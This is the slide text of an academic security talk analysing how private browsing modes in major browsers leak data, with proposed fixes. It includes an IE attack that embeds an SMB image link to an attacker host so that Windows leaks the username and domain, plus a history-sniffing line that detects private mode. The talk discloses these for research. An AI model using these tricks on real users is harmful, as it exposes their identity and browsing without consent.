An Analysis of Private Browsing Modes in Modern Browsers

Gaurav Aggarwal, Elie Bursztein, Collin Jackson, Dan Boneh
Private Browsing?

Browse *without leaving trace* of visited URLs

Now in all major browsers
Private browsing UI

Private Browsing

Firefox won’t remember any history for this session.

In a Private Browsing session, Firefox won’t keep any browser history, search history, download history, web form history, cookies, or temporary internet files. However, files you download and bookmarks you make will be kept.
Private browsing UI

Firefox won’t remember any of your activity or settings in Incognito mode.

In a Private Browsing session, Firefox won’t store your search history, download history, or temporary internet files in your cache. It also won’t remember any bookmarks you’ve created.

You’ve gone incognito. Pages you view in this window won’t appear in your browser history or search history, and they won’t leave other traces, like cookies, on your computer after you close the incognito window. Any files you download or bookmarks you create will be preserved, however.

Going incognito doesn’t affect the behavior of other people, servers, or software. Be wary of:

- Websites that collect or share information about you
- Internet service providers or employers that track the pages you visit
- Malicious software that tracks your keystrokes in exchange for free smileys
- Surveillance by secret agents
- People standing behind you

Learn more about incognito browsing.
Threat Model

Home Computer or Internet Kiosk
Threat Model

Home Computer or Internet Kiosk

WeddingRings.com
Threat Model

Home Computer or Internet Kiosk

- gambling.com
- WeddingRings.com
People Really care about this!

Don't Trust Private Browsing Modes for True Privacy

All a good reminder that while there are ways to browse the internet, we're leaking data about ourselves all over the place. A good reminder to think about your privacy when you surf the web.

Don't Trust Private Browsing Modes for True Privacy

2 days ago - All a good reminder that while there are ways to browse the internet, we're leaking data about ourselves all over the place. A good reminder to think about your privacy when you surf the web.

Private browsing is not as secure as users think, says study

Out-Law.com - Aug 10, 2010

Security researchers from Stanford University and Carnegie Mellon University in the US have prepared a paper on the issue for the Usenix Security conference.

Private browsing tools still leave data trail

ZDNet UK - Tom Ewing - Aug 9, 2010

The privacy-browsing features in Internet Explorer, Firefox, Chrome and Safari are not as protective as they seem.

Private browsing mode leaves data trail, says research

FierceCom - Paul Matt - 32 hours ago

New research at Stanford University's Computer Science Security Lab has revealed that the privacy browsing modes of the major web browsers are not as secure as users think.

Web add-one compromise 'private browsing'

ITworld.com - Carrie Ann Skinner - Aug 9, 2010

A study by Dan Boneh from Stanford University which is due to be presented at the Usenix Security Symposium in the US next week claims that many browser privacy modes do not offer the security they claim.

Private web browser modes not as anonymous as you might think

Infosecurity Magazine - Aug 9, 2010

The paper observes that "privacy browsing implementations provide privacy against some local and global attackers, but can be defeated by determined attackers."

'Porn mode' not necessarily anonymous

CNET (blog) - Sarah Masnick - Aug 7, 2010

The privacy browsing options provided by the four major web browser publishers aren't as anonymous and secure as most users think.

Private browsing: it's not so private

Am Technico - Peter Bright - Aug 6, 2010

Research by Stanford University to investigate the privacy of the "private browsing" feature of many popular web browsers.

Private browsing modes leak data

BBC News - Mark Ward - Aug 6, 2010

Many experts that people add to browsers can "completely undermine" the anonymity of private browsing. Computer scientist Dan Boneh from Stanford University...

Experts uncover flaws in 'private browsing'

V3.co.uk - David Neele - Aug 6, 2010

The researchers at Stanford University are due to discuss their findings at the Usenix Security Symposium in Washington next week. ...
Privacy from local Attacker

- Attacker gets control of the machine after private browsing ends

- Goal: which sites did user visit in private?

  (see “indistinguishability” definition in paper)

installing a key logger is not an attack
Partial goal: privacy from web attacker

- Private browsing does not hide:
  - IP address
  - Browser fingerprint (a la Panopticlick [Eckersley’10])

- Some browsers make half hearted attempt:
  - Ex: cookies set in public mode not available in private
  - Safari makes no attempt to hide public state
Web Attacker: an IE example
Web Attacker: an IE example

• The attack works as follows:
Web Attacker: an IE example

• The attack works as follows:

  1. Embedded an smb link on attacker’s page:
     <img src="smb:\\ip\a.jpg">
Web Attacker: an IE example

• The attack works as follows:

1. Embedded an smb link on attacker’s page:
   
   <img src="smb:\\ip\a.jpg">

2. When the SMB request arrives deny it
Web Attacker: an IE example

• The attack works as follows:

1. Embedded an smb link on attacker’s page:
   <img src="smb:\\ip\a.jpg">

2. When the SMB request arrives deny it

3. Windows will try to authenticate over SMB
Web Attacker: an IE example

• The attack works as follows:

1. Embedded an smb link on attacker’s page:
   `<img src="smb:\\ip\a.jpg">`

2. When the SMB request arrives deny it

3. Windows will try to authenticate over SMB

4. Attacker gets windows username domain and version
Web Attacker: an IE example

POC: http://ly.tl/iepoc
Usage Experiment

How do people use private mode?

• What type of sites? Which browsers?

Observation:

• private browsing status is remotely detectable
• Use “history sniffing”
Behavior in Regular Mode

AD

Random page
Behavior in Regular Mode

If ( getComputedStyle(link).color == RGB(51,102,160) )
Behavior in Private Mode

Random page
Behavior in Private Mode

AD

Random page

Random page

Random page

Random page
Usage measurement – Results

- More common on Safari, Firefox
  - subtle private browsing indicators
- IE users rarely use private mode
- People care about privacy from local attackers!
Safari in private
Overview

The Security Lab is a part of the Computer Science Department at Stanford University. Research projects in the group focus on various aspects of network and computer security.

Courses

- **CS142**: Web Programming and Security
- **CS155**: Computer and Network Security
- **CS255**: Introduction to Cryptography and Computer Security
- **CS259**: Security Analysis of Network Protocols
- **CS355**: Topics in Cryptography
- **CS99J**: Sophomore seminar: Computer Security and Privacy
- **CS55N**: Freshman seminar: Ten Ideas in Computer Security and Cryptography

Seminars

The Stanford Security Seminar focuses on communication between Stanford and the outside world about computer security. The symposia are open to the public and are generally accessible and interesting to experts and laypeople alike.

Security Lunch focuses on communication between students in the security lab and students in related research groups. Typically a student gives a technical presentation about
... But private browsing is not so private
... But private browsing is not so private
Privacy violations: simple examples

**Local DNS cache:**

- DNS resolutions persist after leaving private mode

**Swap file persists:**

- Experiment on Firefox 3.5.9 running Ubuntu 9.10
- Swap file dump after private browsing:
  - URLs of websites visited
  - Embedded links
  - Text from web pages
Method 1:  manual review (Firefox 3.6)

• code abstractions for writing to profile folder: Storage, nsIFile

• Analyze code points that use these abstractions
  Check if private status moderates writes
Method 2: automated testing

- Leverage existing browser unit tests
  - MozMill test framework
    - User interface test automation tool
    - 196 tests currently
    - ... and we added a few additional tests
Mozmill Tests – How to

1. Make a new Firefox profile
2. Start Firefox in private mode
3. Run Mozmill tests
4. Monitor changes to files in profile folder
   - **fs_usage (OSX):**
     Track system calls related to filesystem
5. Analyze changes (manually)
Sample violations (more in the paper)

- SSL certs, CA certs and client certs persist
- Site-specific Preferences Block/allow images, pop-ups, etc.
- Search Plug-ins: Persists source URL of the plug-in
Extensions and plug-ins
Add-ons – Privacy Risk!

- Surveyed *top 40* most popular add-ons for Firefox
- **Only one** extension checks for private browsing mode in the code! *(TabMixPlus)*
- **16** extensions persist state in private mode
  - NoScript – URL whitelist
  - Stylish – mapping from website to CSS
  - DownThemAll – URL download queue
Add-ons: browser policies

IE and Chrome:

- Disables extensions, plug-ins still functional
- Exceptions can be added for extensions (Chrome)

Firefox:

- Extensions and plug-ins work normally

Safari:

- No supported extension API
plug-ins enabled by default (no UI option)
Our proposal: Manual Policy Check

Extensions “opt-in” for running in private mode

- Opt-in by including special tag in manifest file
- Manual review to respect private browsing

All other extensions are disabled in private mode

No user interaction necessary

- Implemented POC as FF extension

http://seclab.stanford.edu/websec/private/extBlocker.xpi
Strengthening private browsing?

Non-solution:
- Snapshot and restore user profile
- Would remove bookmarks and global settings

Enhanced browser architecture:
- Journaling file system  [Stamm’10]
- Restrict extension API in private mode

Torbutton: Security against web attacker
- ... but costs in performance
THE END?

Follow me on Twitter

@elie